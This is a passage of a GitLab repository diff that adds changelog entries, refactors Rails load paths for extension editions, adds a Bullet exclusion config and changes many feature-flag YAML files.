index 00000000000..29e8aa54506
--- /dev/null
+++ b/changelogs/unreleased/tor-defect-single-quote-escapes.yml
@@ -0,0 +1,5 @@
+---
+title: Fix character escaping in Resolved By tooltips
+merge_request: 59428
+author:
+type: fixed
diff --git a/changelogs/unreleased/tor-feature-persist-file-by-file-api-save.yml b/changelogs/unreleased/tor-feature-persist-file-by-file-api-save.yml
new file mode 100644
index 00000000000..bc77dabaf63
--- /dev/null
+++ b/changelogs/unreleased/tor-feature-persist-file-by-file-api-save.yml
@@ -0,0 +1,5 @@
+---
+title: Sync single-file mode user preference when changed from the MR cog menu checkbox
+merge_request: 55931
+author:
+type: changed
diff --git a/changelogs/unreleased/turn_on_aggregated_code_review_metrics.yml b/changelogs/unreleased/turn_on_aggregated_code_review_metrics.yml
new file mode 100644
index 00000000000..6c947fa644d
--- /dev/null
+++ b/changelogs/unreleased/turn_on_aggregated_code_review_metrics.yml
@@ -0,0 +1,5 @@
+---
+title: Aggregate code review metrics
+merge_request: 56734
+author:
+type: other
diff --git a/changelogs/unreleased/ui-settings-okr-external-wiki.yml b/changelogs/unreleased/ui-settings-okr-external-wiki.yml
new file mode 100644
index 00000000000..90ddccc546f
--- /dev/null
+++ b/changelogs/unreleased/ui-settings-okr-external-wiki.yml
@@ -0,0 +1,5 @@
+---
+title: Updated outdated UI text and docs
+merge_request: 58600
+author:
+type: other
diff --git a/changelogs/unreleased/ui-text-bamboo-ci.yml b/changelogs/unreleased/ui-text-bamboo-ci.yml
new file mode 100644
index 00000000000..645eaf3fe1a
--- /dev/null
+++ b/changelogs/unreleased/ui-text-bamboo-ci.yml
@@ -0,0 +1,5 @@
+---
+title: Update pot file
+merge_request: 58392
+author:
+type: other
diff --git a/changelogs/unreleased/ui-text-discord-integration.yml b/changelogs/unreleased/ui-text-discord-integration.yml
new file mode 100644
index 00000000000..df25bf624b9
--- /dev/null
+++ b/changelogs/unreleased/ui-text-discord-integration.yml
@@ -0,0 +1,5 @@
+---
+title: Update Discord integration UI text
+merge_request: 58842
+author:
+type: other
diff --git a/changelogs/unreleased/ui-text-drone-integration.yml b/changelogs/unreleased/ui-text-drone-integration.yml
new file mode 100644
index 00000000000..def8cb5f0c7
--- /dev/null
+++ b/changelogs/unreleased/ui-text-drone-integration.yml
@@ -0,0 +1,5 @@
+---
+title: Update drone integration UI text
+merge_request: 59231
+author:
+type: other
diff --git a/changelogs/unreleased/ui-text-error-tracking.yml b/changelogs/unreleased/ui-text-error-tracking.yml
new file mode 100644
index 00000000000..f31d7f3338a
--- /dev/null
+++ b/changelogs/unreleased/ui-text-error-tracking.yml
@@ -0,0 +1,5 @@
+---
+title: Updated UI text to match style guidelines
+merge_request: 57276
+author:
+type: other
diff --git a/changelogs/unreleased/ui-text-integrations-assembla.yml b/changelogs/unreleased/ui-text-integrations-assembla.yml
new file mode 100644
index 00000000000..0e005fe6301
--- /dev/null
+++ b/changelogs/unreleased/ui-text-integrations-assembla.yml
@@ -0,0 +1,5 @@
+---
+title: Updated UI text for Assembla integration to match style guidelines
+merge_request: 58400
+author:
+type: other
diff --git a/changelogs/unreleased/ui-text-jenkins.yml b/changelogs/unreleased/ui-text-jenkins.yml
new file mode 100644
index 00000000000..91d3080d6bd
--- /dev/null
+++ b/changelogs/unreleased/ui-text-jenkins.yml
@@ -0,0 +1,5 @@
+---
+title: Update UI text of Jenkins integration
+merge_request: 58623
+author:
+type: other
diff --git a/changelogs/unreleased/ui-text-jetbrains-integration.yml b/changelogs/unreleased/ui-text-jetbrains-integration.yml
new file mode 100644
index 00000000000..874e2f4efa0
--- /dev/null
+++ b/changelogs/unreleased/ui-text-jetbrains-integration.yml
@@ -0,0 +1,5 @@
+---
+title: Update UI text for TeamCity integration
+merge_request: 59493
+author:
+type: other
diff --git a/changelogs/unreleased/ui-text-job-pipeline-runtime.yml b/changelogs/unreleased/ui-text-job-pipeline-runtime.yml
new file mode 100644
index 00000000000..bbc64600474
--- /dev/null
+++ b/changelogs/unreleased/ui-text-job-pipeline-runtime.yml
@@ -0,0 +1,5 @@
+---
+title: Update UI text from timing to Duration
+merge_request: 58838
+author:
+type: other
diff --git a/changelogs/unreleased/ui-text-mattermost-integration.yml b/changelogs/unreleased/ui-text-mattermost-integration.yml
new file mode 100644
index 00000000000..5544ba70ac3
--- /dev/null
+++ b/changelogs/unreleased/ui-text-mattermost-integration.yml
@@ -0,0 +1,5 @@
+---
+title: Update mattermost integration UI text
+merge_request: 58570
+author:
+type: other
diff --git a/changelogs/unreleased/ui-text-operations-status.yml b/changelogs/unreleased/ui-text-operations-status.yml
new file mode 100644
index 00000000000..00322448ebb
--- /dev/null
+++ b/changelogs/unreleased/ui-text-operations-status.yml
@@ -0,0 +1,5 @@
+---
+title: Updated UI text to match style guidelines
+merge_request: 57884
+author:
+type: other
diff --git a/changelogs/unreleased/ui-text-pipelines-email.yml b/changelogs/unreleased/ui-text-pipelines-email.yml
new file mode 100644
index 00000000000..2a02962ee51
--- /dev/null
+++ b/changelogs/unreleased/ui-text-pipelines-email.yml
@@ -0,0 +1,5 @@
+---
+title: Update pipeline email service UI text
+merge_request: 58377
+author:
+type: other
diff --git a/changelogs/unreleased/ui-text-slack-integration.yml b/changelogs/unreleased/ui-text-slack-integration.yml
new file mode 100644
index 00000000000..64e5c2d76ba
--- /dev/null
+++ b/changelogs/unreleased/ui-text-slack-integration.yml
@@ -0,0 +1,5 @@
+---
+title: Update UI text for slack notifications integration
+merge_request: 58845
+author:
+type: other
diff --git a/changelogs/unreleased/unlock-all-file-types-for-file-repo-uploads.yml b/changelogs/unreleased/unlock-all-file-types-for-file-repo-uploads.yml
new file mode 100644
index 00000000000..c7ef4fb86c8
--- /dev/null
+++ b/changelogs/unreleased/unlock-all-file-types-for-file-repo-uploads.yml
@@ -0,0 +1,5 @@
+---
+title: Allow all file types to be uploaded from the repo file upload tool
+merge_request: 57498
+author:
+type: fixed
diff --git a/changelogs/unreleased/update-admin-edit-button-icon.yml b/changelogs/unreleased/update-admin-edit-button-icon.yml
new file mode 100644
index 00000000000..49f6ea018a5
--- /dev/null
+++ b/changelogs/unreleased/update-admin-edit-button-icon.yml
@@ -0,0 +1,5 @@
+---
+title: Update admin edit button icon class
+merge_request: 57151
+author:
+type: fixed
diff --git a/changelogs/unreleased/update-auto-build-image-to-0-6-0.yml b/changelogs/unreleased/update-auto-build-image-to-0-6-0.yml
new file mode 100644
index 00000000000..8b17a649651
--- /dev/null
+++ b/changelogs/unreleased/update-auto-build-image-to-0-6-0.yml
@@ -0,0 +1,5 @@
+---
+title: Update auto-build-image to v0.6.0, updating the included docker to 20.10.6 and pack to 0.18.0
+merge_request: 59525
+author:
+type: changed
diff --git a/changelogs/unreleased/update-ci-template-default-branch-5.yml b/changelogs/unreleased/update-ci-template-default-branch-5.yml
new file mode 100644
index 00000000000..a89f0a85cdf
--- /dev/null
+++ b/changelogs/unreleased/update-ci-template-default-branch-5.yml
@@ -0,0 +1,5 @@
+---
+title: Update android template to default branch
+merge_request: 56738
+author:
+type: other
diff --git a/changelogs/unreleased/update-contribution-tooltip.yml b/changelogs/unreleased/update-contribution-tooltip.yml
new file mode 100644
index 00000000000..d1962a5cac0
--- /dev/null
+++ b/changelogs/unreleased/update-contribution-tooltip.yml
@@ -0,0 +1,5 @@
+---
+title: Add multi-line styling within contribution tooltip
+merge_request: 54765
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/update-gitlab-runner-helm-chart-to-0-27-0.yml b/changelogs/unreleased/update-gitlab-runner-helm-chart-to-0-27-0.yml
new file mode 100644
index 00000000000..8ca2e12d949
--- /dev/null
+++ b/changelogs/unreleased/update-gitlab-runner-helm-chart-to-0-27-0.yml
@@ -0,0 +1,5 @@
+---
+title: Update GitLab Runner Helm Chart to 0.27.0
+merge_request: 57048
+author:
+type: other
diff --git a/changelogs/unreleased/update-ruby-in-dockerfile-templates.yml b/changelogs/unreleased/update-ruby-in-dockerfile-templates.yml
new file mode 100644
index 00000000000..f4c1e1f21ee
--- /dev/null
+++ b/changelogs/unreleased/update-ruby-in-dockerfile-templates.yml
@@ -0,0 +1,5 @@
+---
+title: Update Ruby from 2.5 to 2.7 in Dockerfile templates
+merge_request: 59345
+author: Takuya Noguchi
+type: changed
diff --git a/changelogs/unreleased/update-spinner-color-to-pajamas.yml b/changelogs/unreleased/update-spinner-color-to-pajamas.yml
new file mode 100644
index 00000000000..7bef4cac967
--- /dev/null
+++ b/changelogs/unreleased/update-spinner-color-to-pajamas.yml
@@ -0,0 +1,5 @@
+---
+title: Update default spinner color to pajamas
+merge_request: 58517
+author:
+type: changed
diff --git a/changelogs/unreleased/upgrade-pages-1-38.yml b/changelogs/unreleased/upgrade-pages-1-38.yml
new file mode 100644
index 00000000000..ec132f0a508
--- /dev/null
+++ b/changelogs/unreleased/upgrade-pages-1-38.yml
@@ -0,0 +1,5 @@
+---
+title: Upgrade GitLab Pages to 1.38.0
+merge_request: 59464
+author:
+type: added
diff --git a/changelogs/unreleased/use-atomic-mutations-boards.yml b/changelogs/unreleased/use-atomic-mutations-boards.yml
new file mode 100644
index 00000000000..d9916dceaf6
--- /dev/null
+++ b/changelogs/unreleased/use-atomic-mutations-boards.yml
@@ -0,0 +1,5 @@
+---
+title: If creating a new issue fails in boards, remove the issue card from a list
+merge_request: 58558
+author:
+type: other
diff --git a/changelogs/unreleased/use-gitlab-applogger.yml b/changelogs/unreleased/use-gitlab-applogger.yml
new file mode 100644
index 00000000000..269dfe90b2d
--- /dev/null
+++ b/changelogs/unreleased/use-gitlab-applogger.yml
@@ -0,0 +1,5 @@
+---
+title: Use Gitlab::AppLogger in settings
+merge_request: 58134
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: other
diff --git a/changelogs/unreleased/validate-foreign-key-service-hooks.yml b/changelogs/unreleased/validate-foreign-key-service-hooks.yml
new file mode 100644
index 00000000000..8891e4f8756
--- /dev/null
+++ b/changelogs/unreleased/validate-foreign-key-service-hooks.yml
@@ -0,0 +1,5 @@
+---
+title: Validate foreign key on ServiceHooks
+merge_request: 57483
+author:
+type: other
diff --git a/changelogs/unreleased/validation-service-token-to-config.yml b/changelogs/unreleased/validation-service-token-to-config.yml
new file mode 100644
index 00000000000..1242e3f02ba
--- /dev/null
+++ b/changelogs/unreleased/validation-service-token-to-config.yml
@@ -0,0 +1,5 @@
+---
+title: Obtain pipeline validation service token from config not ENV.
+merge_request: 59101
+author:
+type: other
diff --git a/changelogs/unreleased/vs-do-not-render-empty-title-help-popover.yml b/changelogs/unreleased/vs-do-not-render-empty-title-help-popover.yml
new file mode 100644
index 00000000000..61ad7905b2e
--- /dev/null
+++ b/changelogs/unreleased/vs-do-not-render-empty-title-help-popover.yml
@@ -0,0 +1,5 @@
+---
+title: Do not render empty title in HelpPopover
+merge_request: 57025
+author:
+type: fixed
diff --git a/changelogs/unreleased/yo-btn-default-whooks.yml b/changelogs/unreleased/yo-btn-default-whooks.yml
new file mode 100644
index 00000000000..758c0e30d67
--- /dev/null
+++ b/changelogs/unreleased/yo-btn-default-whooks.yml
@@ -0,0 +1,5 @@
+---
+title: Apply new GitLab UI buttons in the webhooks list
+merge_request: 51977
+author: Yogi (@yo)
+type: other
diff --git a/changelogs/unreleased/yo-fix-folder-line-alignment.yml b/changelogs/unreleased/yo-fix-folder-line-alignment.yml
new file mode 100644
index 00000000000..b80afb8c35c
--- /dev/null
+++ b/changelogs/unreleased/yo-fix-folder-line-alignment.yml
@@ -0,0 +1,5 @@
+---
+title: Fix alignment of folder-caret and actions button in the subgroup list
+merge_request: 52400
+author: Yogi (@yo)
+type: other
diff --git a/config/application.rb b/config/application.rb
index e5710edc811..b9792cba793 100644
--- a/config/application.rb
+++ b/config/application.rb
@@ -29,6 +29,7 @@ module Gitlab
require_dependency Rails.root.join('lib/gitlab/middleware/same_site_cookies')
require_dependency Rails.root.join('lib/gitlab/middleware/handle_ip_spoof_attack_error')
require_dependency Rails.root.join('lib/gitlab/middleware/handle_malformed_strings')
+ require_dependency Rails.root.join('lib/gitlab/middleware/rack_multipart_tempfile_factory')
require_dependency Rails.root.join('lib/gitlab/runtime')
# Settings in config/environments/* take precedence over those specified here.
@@ -56,21 +57,29 @@ module Gitlab
config.generators.templates.push("#{config.root}/generator_templates")
- if Gitlab.ee?
- ee_paths = config.eager_load_paths.each_with_object([]) do |path, memo|
- ee_path = config.root.join('ee', Pathname.new(path).relative_path_from(config.root))
- memo << ee_path.to_s
+ load_paths = lambda do |dir:|
+ ext_paths = config.eager_load_paths.each_with_object([]) do |path, memo|
+ ext_path = config.root.join(dir, Pathname.new(path).relative_path_from(config.root))
+ memo << ext_path.to_s
end
- ee_paths << "#{config.root}/ee/app/replicators"
+ ext_paths << "#{config.root}/#{dir}/app/replicators"
# Eager load should load CE first
- config.eager_load_paths.push(*ee_paths)
- config.helpers_paths.push "#{config.root}/ee/app/helpers"
+ config.eager_load_paths.push(*ext_paths)
+ config.helpers_paths.push "#{config.root}/#{dir}/app/helpers"
- # Other than Ruby modules we load EE first
- config.paths['lib/tasks'].unshift "#{config.root}/ee/lib/tasks"
- config.paths['app/views'].unshift "#{config.root}/ee/app/views"
+ # Other than Ruby modules we load extensions first
+ config.paths['lib/tasks'].unshift "#{config.root}/#{dir}/lib/tasks"
+ config.paths['app/views'].unshift "#{config.root}/#{dir}/app/views"
+ end
+
+ Gitlab.ee do
+ load_paths.call(dir: 'ee')
+ end
+
+ Gitlab.jh do
+ load_paths.call(dir: 'jh')
end
# Rake tasks ignore the eager loading settings, so we need to set the
@@ -271,6 +280,8 @@ module Gitlab
config.middleware.insert_after ActionDispatch::ActionableExceptions, ::Gitlab::Middleware::HandleMalformedStrings
+ config.middleware.insert_after Rack::Sendfile, ::Gitlab::Middleware::RackMultipartTempfileFactory
+
# Allow access to GitLab API from other domains
config.middleware.insert_before Warden::Manager, Rack::Cors do
headers_to_expose = %w[Link X-Total X-Total-Pages X-Per-Page X-Page X-Next-Page X-Prev-Page X-Gitlab-Blob-Id X-Gitlab-Commit-Id X-Gitlab-Content-Sha256 X-Gitlab-Encoding X-Gitlab-File-Name X-Gitlab-File-Path X-Gitlab-Last-Commit-Id X-Gitlab-Ref X-Gitlab-Size]
diff --git a/config/bullet.yml b/config/bullet.yml
new file mode 100644
index 00000000000..18eaa778aad
--- /dev/null
+++ b/config/bullet.yml
@@ -0,0 +1,44 @@
+---
+
+exclusions:
+ # See https://github.com/flyerhzm/bullet#configuration for exclusion formats
+ # Example usage:
+ #
+ # paths with method name(recommended use):
+ #
+ # example_path_with_method_exclusion_name:
+ # merge_request: 'some merge request link for context'
+ # exact_file_name: true
+ # exclude:
+ # - 'some_ruby_file_name.rb'
+ # - 'method_name_inside_the_file_above'
+ #
+ # path or pattern only to file(fuzzy, not recommended):
+ #
+ # example_path_with_exact_file_name:
+ # merge_request: 'some merge request link for context'
+ # exact_file_name: true
+ # exclude:
+ # - 'some_ruby_file_name.rb'
+ #
+ # example_path_with_pattern:
+ # merge_request: 'some merge request link for context'
+ # exact_file_name: false
+ # exclude:
+ # - 'file_pattern'
+ #
+ # path with line numbers(extremely fragile, not recommended):
+ #
+ # example_path_with_line_range:
+ # merge_request: 'some merge request link for context'
+ # exact_file_name: true
+ # exclude:
+ # - 'some_ruby_file_name.rb'
+ # - 5..10
+ #
+ group_member_presenter_managing_group:
+ merge_request: 'https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58927'
+ path_with_method: true
+ exclude:
+ - 'ee/app/presenters/ee/group_member_presenter.rb'
+ - 'group_managed_account?'
diff --git a/config/feature_flags/development/add_issues_button.yml b/config/feature_flags/development/add_issues_button.yml
deleted file mode 100644
index 12a6ef61bba..00000000000
--- a/config/feature_flags/development/add_issues_button.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: add_issues_button
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47898
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/292803
-milestone: '13.6'
-type: development
-group: group::project management
-default_enabled: false
diff --git a/config/feature_flags/development/allow_force_push_to_protected_branches.yml b/config/feature_flags/development/allow_force_push_to_protected_branches.yml
index 987c7d4bb7b..632e2ad0ccd 100644
--- a/config/feature_flags/development/allow_force_push_to_protected_branches.yml
+++ b/config/feature_flags/development/allow_force_push_to_protected_branches.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/323431
milestone: '13.10'
type: development
group: group::source code
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/api_caching_tags.yml b/config/feature_flags/development/api_caching_tags.yml
new file mode 100644
index 00000000000..142291bf975
--- /dev/null
+++ b/config/feature_flags/development/api_caching_tags.yml
@@ -0,0 +1,8 @@
+---
+name: api_caching_tags
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54975
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/324391
+milestone: '13.10'
+type: development
+group: group::source code
+default_enabled: false
diff --git a/config/feature_flags/development/async_handle_merge_request_assignees_change.yml b/config/feature_flags/development/async_handle_merge_request_assignees_change.yml
new file mode 100644
index 00000000000..b44ccb1bd6e
--- /dev/null
+++ b/config/feature_flags/development/async_handle_merge_request_assignees_change.yml
@@ -0,0 +1,8 @@
+---
+name: async_handle_merge_request_assignees_change
+introduced_by_url:
+rollout_issue_url:
+milestone: '13.11'
+type: development
+group: group::code review
+default_enabled: false
diff --git a/config/feature_flags/development/attachment_with_filename.yml b/config/feature_flags/development/attachment_with_filename.yml
deleted file mode 100644
index 8d3a96404ef..00000000000
--- a/config/feature_flags/development/attachment_with_filename.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: attachment_with_filename
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55066
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/323714
-milestone: '13.10'
-type: development
-group: group::editor
-default_enabled: false
diff --git a/config/feature_flags/development/avatar_cache_for_email.yml b/config/feature_flags/development/avatar_cache_for_email.yml
deleted file mode 100644
index d0285b5bb0f..00000000000
--- a/config/feature_flags/development/avatar_cache_for_email.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: avatar_cache_for_email
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55184
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/323185
-milestone: '13.10'
-type: development
-group: group::source code
-default_enabled: false
diff --git a/config/feature_flags/development/batch_suggestions.yml b/config/feature_flags/development/batch_suggestions.yml
deleted file mode 100644
index 6a13094f0ab..00000000000
--- a/config/feature_flags/development/batch_suggestions.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: batch_suggestions
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/34782
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/320755
-milestone: '13.1'
-type: development
-group: group::code review
-default_enabled: true
diff --git a/config/feature_flags/development/board_new_list.yml b/config/feature_flags/development/board_new_list.yml
index e80da8c554f..7d755dd6689 100644
--- a/config/feature_flags/development/board_new_list.yml
+++ b/config/feature_flags/development/board_new_list.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/299366
milestone: '13.8'
type: development
group: group::project management
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/cached_sidebar_merge_requests_count.yml b/config/feature_flags/development/cached_sidebar_merge_requests_count.yml
new file mode 100644
index 00000000000..f542ba6323c
--- /dev/null
+++ b/config/feature_flags/development/cached_sidebar_merge_requests_count.yml
@@ -0,0 +1,8 @@
+---
+name: cached_sidebar_merge_requests_count
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55971
+rollout_issue_url:
+milestone: '13.11'
+type: development
+group: group::product planning
+default_enabled: true
diff --git a/config/feature_flags/development/cached_sidebar_open_epics_count.yml b/config/feature_flags/development/cached_sidebar_open_epics_count.yml
new file mode 100644
index 00000000000..265f3135b48
--- /dev/null
+++ b/config/feature_flags/development/cached_sidebar_open_epics_count.yml
@@ -0,0 +1,8 @@
+---
+name: cached_sidebar_open_epics_count
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58064
+rollout_issue_url:
+milestone: '13.11'
+type: development
+group: group::product planning
+default_enabled: true
diff --git a/config/feature_flags/development/cached_sidebar_open_issues_count.yml b/config/feature_flags/development/cached_sidebar_open_issues_count.yml
deleted file mode 100644
index 4a9538046b8..00000000000
--- a/config/feature_flags/development/cached_sidebar_open_issues_count.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: cached_sidebar_open_issues_count
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49739
-rollout_issue_url:
-milestone: '13.8'
-type: development
-group: group::product planning
-default_enabled: true
diff --git a/config/feature_flags/development/cascading_namespace_settings.yml b/config/feature_flags/development/cascading_namespace_settings.yml
new file mode 100644
index 00000000000..d638f457515
--- /dev/null
+++ b/config/feature_flags/development/cascading_namespace_settings.yml
@@ -0,0 +1,8 @@
+---
+name: cascading_namespace_settings
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55678
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/327230
+milestone: '13.11'
+type: development
+group: group::access
+default_enabled: true
diff --git a/config/feature_flags/development/check_maven_path_first.yml b/config/feature_flags/development/check_maven_path_first.yml
new file mode 100644
index 00000000000..b871bf8902d
--- /dev/null
+++ b/config/feature_flags/development/check_maven_path_first.yml
@@ -0,0 +1,8 @@
+---
+name: check_maven_path_first
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59241
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/327487
+milestone: '13.11'
+type: development
+group: group::package
+default_enabled: false
diff --git a/config/feature_flags/development/check_mergeability_async_in_widget.yml b/config/feature_flags/development/check_mergeability_async_in_widget.yml
new file mode 100644
index 00000000000..ff8116c3a65
--- /dev/null
+++ b/config/feature_flags/development/check_mergeability_async_in_widget.yml
@@ -0,0 +1,8 @@
+---
+name: check_mergeability_async_in_widget
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58178
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/326567
+milestone: '13.11'
+type: development
+group: group::source code
+default_enabled: false
diff --git a/config/feature_flags/development/ci_commit_pipeline_mini_graph_vue.yml b/config/feature_flags/development/ci_commit_pipeline_mini_graph_vue.yml
deleted file mode 100644
index 22a58977f0f..00000000000
--- a/config/feature_flags/development/ci_commit_pipeline_mini_graph_vue.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_commit_pipeline_mini_graph_vue
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55363
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/323356
-milestone: '13.10'
-type: development
-group: group::pipeline authoring
-default_enabled: false
diff --git a/config/feature_flags/development/ci_external_validation_service.yml b/config/feature_flags/development/ci_external_validation_service.yml
new file mode 100644
index 00000000000..9df770d87e5
--- /dev/null
+++ b/config/feature_flags/development/ci_external_validation_service.yml
@@ -0,0 +1,8 @@
+---
+name: ci_external_validation_service
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56856
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/323935
+milestone: '13.11'
+type: development
+group: group::continuous integration
+default_enabled: false
diff --git a/config/feature_flags/development/ci_instance_variables_ui.yml b/config/feature_flags/development/ci_instance_variables_ui.yml
deleted file mode 100644
index 73bc0346818..00000000000
--- a/config/feature_flags/development/ci_instance_variables_ui.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_instance_variables_ui
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/33510
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/299879
-milestone: '13.1'
-type: development
-group: group::continuous integration
-default_enabled: true
diff --git a/config/feature_flags/development/ci_needs_optional.yml b/config/feature_flags/development/ci_needs_optional.yml
index fcbe9bf6106..eacb0ab6d51 100644
--- a/config/feature_flags/development/ci_needs_optional.yml
+++ b/config/feature_flags/development/ci_needs_optional.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/323891
milestone: '13.10'
type: development
group: group::pipeline authoring
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/ci_no_empty_groups.yml b/config/feature_flags/development/ci_no_empty_groups.yml
new file mode 100644
index 00000000000..ef7d6459a5a
--- /dev/null
+++ b/config/feature_flags/development/ci_no_empty_groups.yml
@@ -0,0 +1,8 @@
+---
+name: ci_no_empty_groups
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58789
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/327139
+milestone: '13.11'
+type: development
+group: group::verify
+default_enabled: false
diff --git a/config/feature_flags/development/ci_pipeline_ensure_iid_on_drop.yml b/config/feature_flags/development/ci_pipeline_ensure_iid_on_drop.yml
new file mode 100644
index 00000000000..129f725c6cc
--- /dev/null
+++ b/config/feature_flags/development/ci_pipeline_ensure_iid_on_drop.yml
@@ -0,0 +1,8 @@
+---
+name: ci_pipeline_ensure_iid_on_drop
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57783
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/326886
+milestone: '13.11'
+type: development
+group: group::code review
+default_enabled: false
diff --git a/config/feature_flags/development/ci_preload_runner_tags.yml b/config/feature_flags/development/ci_preload_runner_tags.yml
index d91bd788d41..8d3ab2a95d6 100644
--- a/config/feature_flags/development/ci_preload_runner_tags.yml
+++ b/config/feature_flags/development/ci_preload_runner_tags.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/323243
milestone: '13.10'
type: development
group: group::memory
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/ci_reduce_queries_when_ticking_runner_queue.yml b/config/feature_flags/development/ci_reduce_queries_when_ticking_runner_queue.yml
index 92acb98969b..56f5afa9ed0 100644
--- a/config/feature_flags/development/ci_reduce_queries_when_ticking_runner_queue.yml
+++ b/config/feature_flags/development/ci_reduce_queries_when_ticking_runner_queue.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/323328
milestone: '13.10'
type: development
group: group::continuous integration
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/ci_register_job_service_one_by_one.yml b/config/feature_flags/development/ci_register_job_service_one_by_one.yml
index 7ce58d06bdc..8f691a01605 100644
--- a/config/feature_flags/development/ci_register_job_service_one_by_one.yml
+++ b/config/feature_flags/development/ci_register_job_service_one_by_one.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/323177
milestone: '13.10'
type: development
group: group::memory
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/ci_runner_builds_queue_on_replicas.yml b/config/feature_flags/development/ci_runner_builds_queue_on_replicas.yml
new file mode 100644
index 00000000000..7e930ce5a10
--- /dev/null
+++ b/config/feature_flags/development/ci_runner_builds_queue_on_replicas.yml
@@ -0,0 +1,8 @@
+---
+name: ci_runner_builds_queue_on_replicas
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56849
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/325723
+milestone: '13.10'
+type: development
+group: group::continuous integration
+default_enabled: true
diff --git a/config/feature_flags/development/ci_trigger_payload_into_pipeline.yml b/config/feature_flags/development/ci_trigger_payload_into_pipeline.yml
deleted file mode 100644
index 2130c6151e8..00000000000
--- a/config/feature_flags/development/ci_trigger_payload_into_pipeline.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_trigger_payload_into_pipeline
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53837
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/321027
-milestone: '13.9'
-type: development
-group: group::pipeline authoring
-default_enabled: true
diff --git a/config/feature_flags/development/ci_wildcard_file_paths.yml b/config/feature_flags/development/ci_wildcard_file_paths.yml
new file mode 100644
index 00000000000..2d21fc8fa41
--- /dev/null
+++ b/config/feature_flags/development/ci_wildcard_file_paths.yml
@@ -0,0 +1,8 @@
+---
+name: ci_wildcard_file_paths
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58999
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/327315
+milestone: '13.11'
+type: development
+group: group::pipeline authoring
+default_enabled: false
diff --git a/config/feature_flags/development/ci_workflow_rules_variables.yml b/config/feature_flags/development/ci_workflow_rules_variables.yml
new file mode 100644
index 00000000000..8915d109c83
--- /dev/null
+++ b/config/feature_flags/development/ci_workflow_rules_variables.yml
@@ -0,0 +1,8 @@
+---
+name: ci_workflow_rules_variables
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/52085
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/300997
+milestone: '13.11'
+type: development
+group: group::pipeline authoring
+default_enabled: false
diff --git a/config/feature_flags/development/cluster_agent_list.yml b/config/feature_flags/development/cluster_agent_list.yml
deleted file mode 100644
index 2c49950620d..00000000000
--- a/config/feature_flags/development/cluster_agent_list.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: cluster_agent_list
